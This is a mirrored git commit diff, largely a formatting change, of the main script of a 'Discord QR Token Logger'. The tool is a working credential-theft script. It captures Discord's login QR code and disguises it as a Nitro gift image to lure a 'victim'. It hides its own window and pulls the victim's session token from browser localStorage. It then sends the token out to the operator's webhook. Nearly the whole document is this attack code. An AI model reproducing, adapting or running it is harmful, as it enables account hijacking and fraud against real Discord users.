mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-27 21:25:29 +00:00
Update main.py
This commit is contained in:
parent
f9ddcdcbac
commit
f98c96d045
@ -35,21 +35,30 @@ import atexit
|
|||||||
from cairosvg import svg2png
|
from cairosvg import svg2png
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def main(webhook_url: str) -> None:
|
def main(webhook_url: str) -> None:
|
||||||
proxy_value = Write.Input("\n[*] Does the victim live in the same country as you otherwise use a proxy [IP:PORT] -> ", Colors.green_to_cyan, interval=0.01)
|
proxy_value = Write.Input(
|
||||||
|
"\n[*] Does the victim live in the same country as you otherwise use a proxy [IP:PORT] -> ",
|
||||||
|
Colors.green_to_cyan,
|
||||||
|
interval=0.01,
|
||||||
|
)
|
||||||
opts = webdriver.ChromeOptions()
|
opts = webdriver.ChromeOptions()
|
||||||
opts.add_argument('--headless')
|
opts.add_argument("--headless")
|
||||||
opts.add_argument('--silent')
|
opts.add_argument("--silent")
|
||||||
opts.add_argument('start-maximized')
|
opts.add_argument("start-maximized")
|
||||||
opts.add_argument('--disable-gpu')
|
opts.add_argument("--disable-gpu")
|
||||||
opts.add_argument('--disable-dev-shm-usage')
|
opts.add_argument("--disable-dev-shm-usage")
|
||||||
opts.add_argument('disable-infobars')
|
opts.add_argument("disable-infobars")
|
||||||
opts.add_argument('--disable-browser-side-navigation')
|
opts.add_argument("--disable-browser-side-navigation")
|
||||||
opts.add_argument('--disable-default-apps')
|
opts.add_argument("--disable-default-apps")
|
||||||
opts.add_experimental_option('detach', True)
|
opts.add_experimental_option("detach", True)
|
||||||
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
|
opts.add_experimental_option("excludeSwitches", ["enable-logging"])
|
||||||
opts.add_extension(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'resources', 'extension_0_3_12_0.crx'))
|
opts.add_extension(
|
||||||
|
os.path.join(
|
||||||
|
os.path.dirname(os.path.abspath(__file__)),
|
||||||
|
"resources",
|
||||||
|
"extension_0_3_12_0.crx",
|
||||||
|
)
|
||||||
|
)
|
||||||
if proxy_value:
|
if proxy_value:
|
||||||
proxies_http = {
|
proxies_http = {
|
||||||
"http": f"http://{proxy_value}",
|
"http": f"http://{proxy_value}",
|
||||||
@ -60,34 +69,61 @@ def main(webhook_url: str) -> None:
|
|||||||
"https": f"https://{proxy_value}",
|
"https": f"https://{proxy_value}",
|
||||||
}
|
}
|
||||||
try:
|
try:
|
||||||
ip_info = requests.get('http://ip-api.com/json', proxies=proxies_http).json()
|
ip_info = requests.get(
|
||||||
|
"http://ip-api.com/json", proxies=proxies_http
|
||||||
|
).json()
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
try:
|
try:
|
||||||
ip_info = requests.get('http://ip-api.com/json', proxies=proxies_https).json()
|
ip_info = requests.get(
|
||||||
except requests.exceptions.RequestException as e:
|
"http://ip-api.com/json", proxies=proxies_https
|
||||||
raise SystemExit(Write.Print(f'\n[^] Critical error when using the proxy server !\n\nThe script returning :\n\n{e}', Colors.yellow_to_green))
|
).json()
|
||||||
if ip_info['query'] == proxy_value.split(':')[0]:
|
except requests.exceptions.RequestException as e:
|
||||||
Write.Print(f"\n[!] Proxy server detected in {ip_info['country']}, establishing connection...", Colors.red_to_purple)
|
raise SystemExit(
|
||||||
opts.add_argument(f'--proxy-server={proxy_value}')
|
Write.Print(
|
||||||
|
f"\n[^] Critical error when using the proxy server !\n\nThe script returning :\n\n{e}",
|
||||||
|
Colors.yellow_to_green,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
if ip_info["query"] == proxy_value.split(":")[0]:
|
||||||
|
Write.Print(
|
||||||
|
f"\n[!] Proxy server detected in {ip_info['country']}, establishing connection...",
|
||||||
|
Colors.red_to_purple,
|
||||||
|
)
|
||||||
|
opts.add_argument(f"--proxy-server={proxy_value}")
|
||||||
else:
|
else:
|
||||||
raise SystemExit(Write.Print(f'\n[^] Proxy server not working, or being detected by Discord.', Colors.yellow_to_green))
|
raise SystemExit(
|
||||||
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple)
|
Write.Print(
|
||||||
|
f"\n[^] Proxy server not working, or being detected by Discord.",
|
||||||
|
Colors.yellow_to_green,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
Write.Print("\n\n[!] Generating QR code...", Colors.red_to_purple)
|
||||||
# This module have conflicts with PyStyle; importing here prevents the issue.
|
# This module have conflicts with PyStyle; importing here prevents the issue.
|
||||||
try:
|
try:
|
||||||
main.driver = webdriver.Chrome(options=opts)
|
main.driver = webdriver.Chrome(options=opts)
|
||||||
except:
|
except:
|
||||||
from webdriver_manager.chrome import ChromeDriverManager
|
from webdriver_manager.chrome import ChromeDriverManager
|
||||||
from selenium.webdriver.chrome.service import Service
|
from selenium.webdriver.chrome.service import Service
|
||||||
os.environ['WDM_PROGRESS_BAR'] = str(0)
|
|
||||||
os.environ['WDM_LOG_LEVEL'] = '0'
|
os.environ["WDM_PROGRESS_BAR"] = str(0)
|
||||||
|
os.environ["WDM_LOG_LEVEL"] = "0"
|
||||||
try:
|
try:
|
||||||
main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
|
main.driver = webdriver.Chrome(
|
||||||
|
service=Service(ChromeDriverManager().install()), options=opts
|
||||||
|
)
|
||||||
except WebDriverException as e:
|
except WebDriverException as e:
|
||||||
raise SystemExit(Write.Print(f'\n\n[!] WebDriverException occured ! The script returned :\n\n{e}', Colors.yellow_to_green))
|
raise SystemExit(
|
||||||
|
Write.Print(
|
||||||
|
f"\n\n[!] WebDriverException occured ! The script returned :\n\n{e}",
|
||||||
|
Colors.yellow_to_green,
|
||||||
|
)
|
||||||
|
)
|
||||||
main.driver.implicitly_wait(5)
|
main.driver.implicitly_wait(5)
|
||||||
main.driver.get('https://discord.com/login')
|
main.driver.get("https://discord.com/login")
|
||||||
time.sleep(5)
|
time.sleep(5)
|
||||||
qrg = QRGrabber(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'resources'))
|
qrg = QRGrabber(
|
||||||
|
os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources")
|
||||||
|
)
|
||||||
try:
|
try:
|
||||||
qr_code = qrg.get_qr_from_source(main.driver)
|
qr_code = qrg.get_qr_from_source(main.driver)
|
||||||
except QRCodeNotFound as e:
|
except QRCodeNotFound as e:
|
||||||
@ -95,41 +131,54 @@ def main(webhook_url: str) -> None:
|
|||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
raise SystemExit(Write.Print(f'\n\n[^] QrCodeException occured ! The script returned :\n\n{e}', Colors.yellow_to_green))
|
raise SystemExit(
|
||||||
|
Write.Print(
|
||||||
|
f"\n\n[^] QrCodeException occured ! The script returned :\n\n{e}",
|
||||||
|
Colors.yellow_to_green,
|
||||||
|
)
|
||||||
|
)
|
||||||
discord_login = main.driver.current_url
|
discord_login = main.driver.current_url
|
||||||
with TemporaryDirectory(dir='.') as td:
|
with TemporaryDirectory(dir=".") as td:
|
||||||
with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
|
with NamedTemporaryFile(dir=td, suffix=".png") as tp1:
|
||||||
tp1.write(svg2png(qr_code))
|
tp1.write(svg2png(qr_code))
|
||||||
Write.Print('\n[!] Generating template for QR code...', Colors.red_to_purple)
|
Write.Print(
|
||||||
with NamedTemporaryFile(dir=td, suffix='.png') as tp2:
|
"\n[!] Generating template for QR code...", Colors.red_to_purple
|
||||||
|
)
|
||||||
|
with NamedTemporaryFile(dir=td, suffix=".png") as tp2:
|
||||||
qrg.generate_qr_for_template(tp1, tp2)
|
qrg.generate_qr_for_template(tp1, tp2)
|
||||||
Write.Print('\n[!] Generating Discord Nitro template for QR code...',
|
Write.Print(
|
||||||
Colors.red_to_purple)
|
"\n[!] Generating Discord Nitro template for QR code...",
|
||||||
|
Colors.red_to_purple,
|
||||||
|
)
|
||||||
qrg.generate_nitro_template(tp2)
|
qrg.generate_nitro_template(tp2)
|
||||||
output = BytesIO()
|
output = BytesIO()
|
||||||
Image.open("discord_gift.png").convert('RGB').save(output, 'BMP')
|
Image.open("discord_gift.png").convert("RGB").save(output, "BMP")
|
||||||
data = output.getvalue()[14:]
|
data = output.getvalue()[14:]
|
||||||
output.close()
|
output.close()
|
||||||
win32clipboard.OpenClipboard(), win32clipboard.EmptyClipboard()
|
win32clipboard.OpenClipboard(), win32clipboard.EmptyClipboard()
|
||||||
win32clipboard.SetClipboardData(win32clipboard.CF_DIB, data)
|
win32clipboard.SetClipboardData(win32clipboard.CF_DIB, data)
|
||||||
win32clipboard.CloseClipboard()
|
win32clipboard.CloseClipboard()
|
||||||
Write.Print(
|
Write.Print(
|
||||||
'\n[#] The Qr-Code is copied to clipboard, waiting for target to login using the QR code...',
|
"\n[#] The Qr-Code is copied to clipboard, waiting for target to login using the QR code...",
|
||||||
Colors.red_to_purple)
|
Colors.red_to_purple,
|
||||||
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.",
|
)
|
||||||
'Waiting for target')
|
pystray_icon.icon.notify(
|
||||||
|
"This script has been set to hide until the target's token is grabbed.",
|
||||||
|
"Waiting for target",
|
||||||
|
)
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||||
ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
|
||||||
def timer_killer(q, e):
|
def timer_killer(q, e):
|
||||||
while True:
|
while True:
|
||||||
if e.is_set() != True:
|
if e.is_set() != True:
|
||||||
if discord_login != main.driver.current_url:
|
if discord_login != main.driver.current_url:
|
||||||
try:
|
try:
|
||||||
os.remove('discord_gift.png')
|
os.remove("discord_gift.png")
|
||||||
except BaseException:
|
except BaseException:
|
||||||
pass
|
pass
|
||||||
token = main.driver.execute_script('''
|
token = main.driver.execute_script(
|
||||||
|
"""
|
||||||
window.dispatchEvent(new Event('beforeunload'));
|
window.dispatchEvent(new Event('beforeunload'));
|
||||||
let iframe = document.createElement('iframe');
|
let iframe = document.createElement('iframe');
|
||||||
iframe.style.display = 'none';
|
iframe.style.display = 'none';
|
||||||
@ -137,14 +186,22 @@ def main(webhook_url: str) -> None:
|
|||||||
let localStorage = iframe.contentWindow.localStorage;
|
let localStorage = iframe.contentWindow.localStorage;
|
||||||
var token = JSON.parse(localStorage.token);
|
var token = JSON.parse(localStorage.token);
|
||||||
return token;
|
return token;
|
||||||
''')
|
"""
|
||||||
|
)
|
||||||
q.put(token)
|
q.put(token)
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
|
|
||||||
q, e = Queue(), Event()
|
q, e = Queue(), Event()
|
||||||
thread_timer_killer = Thread(target=timer_killer, args=(q, e, ))
|
thread_timer_killer = Thread(
|
||||||
|
target=timer_killer,
|
||||||
|
args=(
|
||||||
|
q,
|
||||||
|
e,
|
||||||
|
),
|
||||||
|
)
|
||||||
thread_timer_killer.start()
|
thread_timer_killer.start()
|
||||||
thread_timer_killer.join(120)
|
thread_timer_killer.join(120)
|
||||||
if thread_timer_killer.is_alive():
|
if thread_timer_killer.is_alive():
|
||||||
@ -153,30 +210,42 @@ def main(webhook_url: str) -> None:
|
|||||||
continue
|
continue
|
||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
try:
|
try:
|
||||||
os.remove('discord_gift.png')
|
os.remove("discord_gift.png")
|
||||||
except BaseException:
|
except BaseException:
|
||||||
pass
|
pass
|
||||||
pystray_icon.icon.notify("The Qr-Code has expired !", 'Exiting...')
|
pystray_icon.icon.notify("The Qr-Code has expired !", "Exiting...")
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||||
raise SystemExit(Write.Print('\n\n[^] The Qr-Code have expired, exiting...', Colors.yellow_to_green))
|
raise SystemExit(
|
||||||
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !')
|
Write.Print(
|
||||||
|
"\n\n[^] The Qr-Code have expired, exiting...", Colors.yellow_to_green
|
||||||
|
)
|
||||||
|
)
|
||||||
|
pystray_icon.icon.notify(
|
||||||
|
"The target scanned the QR-code sucessfuly.", "New Victim !"
|
||||||
|
)
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||||
try:
|
try:
|
||||||
token_info = TokenInfo(q.get())
|
token_info = TokenInfo(q.get())
|
||||||
Write.Print(f"\n\n[?] The following token has been grabbed: {token_info.token}", Colors.rainbow)
|
Write.Print(
|
||||||
|
f"\n\n[?] The following token has been grabbed: {token_info.token}",
|
||||||
|
Colors.rainbow,
|
||||||
|
)
|
||||||
if webhook_url is not None:
|
if webhook_url is not None:
|
||||||
try:
|
try:
|
||||||
token_info.send_info_to_webhook(webhook_url)
|
token_info.send_info_to_webhook(webhook_url)
|
||||||
except WebhookSendFailure as e:
|
except WebhookSendFailure as e:
|
||||||
Write.Print(f"[!] {e}", Colors.red)
|
Write.Print(f"[!] {e}", Colors.red)
|
||||||
Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green)
|
Write.Input("\n\n[*] Press ENTER to quit.", Colors.blue_to_green)
|
||||||
except InvalidToken:
|
except InvalidToken:
|
||||||
Write.Print('\n\n[!] An invalid token has been accessed.', Colors.yellow_to_green)
|
Write.Print(
|
||||||
|
"\n\n[!] An invalid token has been accessed.", Colors.yellow_to_green
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
def handle_exit():
|
def handle_exit():
|
||||||
try:
|
try:
|
||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
@ -186,18 +255,22 @@ if __name__ == "__main__":
|
|||||||
pystray_icon.icon.stop()
|
pystray_icon.icon.stop()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
atexit.register(handle_exit)
|
atexit.register(handle_exit)
|
||||||
signal.signal(signal.SIGTERM, handle_exit)
|
signal.signal(signal.SIGTERM, handle_exit)
|
||||||
signal.signal(signal.SIGINT, handle_exit)
|
signal.signal(signal.SIGINT, handle_exit)
|
||||||
|
|
||||||
def pystray_icon():
|
def pystray_icon():
|
||||||
def window_state(_, item):
|
def window_state(_, item):
|
||||||
if str(item) == 'Show':
|
if str(item) == "Show":
|
||||||
return ctypes.windll.user32.ShowWindow(
|
return ctypes.windll.user32.ShowWindow(
|
||||||
ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
ctypes.windll.kernel32.GetConsoleWindow(), 5
|
||||||
elif str(item) == 'Hide':
|
)
|
||||||
|
elif str(item) == "Hide":
|
||||||
return ctypes.windll.user32.ShowWindow(
|
return ctypes.windll.user32.ShowWindow(
|
||||||
ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
ctypes.windll.kernel32.GetConsoleWindow(), 0
|
||||||
elif str(item) == 'Quit':
|
)
|
||||||
|
elif str(item) == "Quit":
|
||||||
pystray_icon.icon.stop()
|
pystray_icon.icon.stop()
|
||||||
try:
|
try:
|
||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
@ -206,37 +279,62 @@ if __name__ == "__main__":
|
|||||||
pass
|
pass
|
||||||
os._exit(0)
|
os._exit(0)
|
||||||
|
|
||||||
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))), menu=Menu(
|
pystray_icon.icon = Icon(
|
||||||
MenuItem('Show', window_state),
|
"QR_DTG",
|
||||||
MenuItem('Hide', window_state),
|
Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))),
|
||||||
MenuItem('Quit', window_state)
|
menu=Menu(
|
||||||
))
|
MenuItem("Show", window_state),
|
||||||
|
MenuItem("Hide", window_state),
|
||||||
|
MenuItem("Quit", window_state),
|
||||||
|
),
|
||||||
|
)
|
||||||
pystray_icon.icon.run()
|
pystray_icon.icon.run()
|
||||||
System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714 (mouadessalim)')
|
|
||||||
|
System.Title("QR DISCORD LOGIN - By Lemon.-_-.#3714 (mouadessalim)")
|
||||||
System.Size(140, 35)
|
System.Size(140, 35)
|
||||||
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
|
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
|
||||||
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube(
|
print(
|
||||||
"By Lemon.-_-.#3714 (mouadessalim)")), 1))
|
Colorate.Horizontal(
|
||||||
print(Colorate.Horizontal(Colors.rainbow, Box.Lines(
|
Colors.rainbow,
|
||||||
"https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n")
|
Center.GroupAlign(Box.DoubleCube("By Lemon.-_-.#3714 (mouadessalim)")),
|
||||||
|
1,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
Colorate.Horizontal(
|
||||||
|
Colors.rainbow,
|
||||||
|
Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace(
|
||||||
|
"ቐ", "$"
|
||||||
|
),
|
||||||
|
1,
|
||||||
|
),
|
||||||
|
"\n",
|
||||||
|
)
|
||||||
confir = Write.Input(
|
confir = Write.Input(
|
||||||
"[*] Do you want to use a Discord Webhook URL ? [y/n] -> ",
|
"[*] Do you want to use a Discord Webhook URL ? [y/n] -> ",
|
||||||
Colors.green_to_cyan,
|
Colors.green_to_cyan,
|
||||||
interval=0.01).lower()
|
interval=0.01,
|
||||||
|
).lower()
|
||||||
if confir == "yes" or confir == "y":
|
if confir == "yes" or confir == "y":
|
||||||
th_main = Thread(
|
th_main = Thread(
|
||||||
target=main,
|
target=main,
|
||||||
args=(
|
args=(
|
||||||
Write.Input("\n[*] Enter your webhook url -> ",
|
Write.Input(
|
||||||
|
"\n[*] Enter your webhook url -> ",
|
||||||
Colors.green_to_cyan,
|
Colors.green_to_cyan,
|
||||||
interval=0.01),
|
interval=0.01,
|
||||||
))
|
),
|
||||||
|
),
|
||||||
|
)
|
||||||
elif confir == "no" or confir == "n":
|
elif confir == "no" or confir == "n":
|
||||||
th_main = Thread(target=main, args=(None,))
|
th_main = Thread(target=main, args=(None,))
|
||||||
else:
|
else:
|
||||||
raise SystemExit(Write.Print(
|
raise SystemExit(
|
||||||
'[!] Failed to recognise an input of either \'y\' or \'n\'.',
|
Write.Print(
|
||||||
Colors.yellow_to_green))
|
"[!] Failed to recognise an input of either 'y' or 'n'.",
|
||||||
|
Colors.yellow_to_green,
|
||||||
|
)
|
||||||
|
)
|
||||||
Thread(target=pystray_icon).start()
|
Thread(target=pystray_icon).start()
|
||||||
th_main.start()
|
th_main.start()
|
||||||
while th_main.is_alive():
|
while th_main.is_alive():
|
||||||
|
Loading…
x
Reference in New Issue
Block a user